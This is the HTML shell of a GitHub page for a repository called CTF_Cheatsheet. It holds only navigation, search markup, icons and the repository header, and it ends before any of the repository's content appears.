<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="227519400" data-scoped-search-url="/prince-7/CTF_Cheatsheet/search" data-owner-scoped-search-url="/users/prince-7/search" data-unscoped-search-url="/search" data-turbo="false" action="/prince-7/CTF_Cheatsheet/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="pqmz1rxylv/p7RmO0e8eLtr0UjLnc0WK0rZoavAodHEOHRoVxiyhXxz7XBMc8wG1r1tkLTQ8OIvdwrI8deqOxA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> prince-7 </span> <span>/</span> CTF_Cheatsheet
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>1</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/prince-7/CTF_Cheatsheet/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
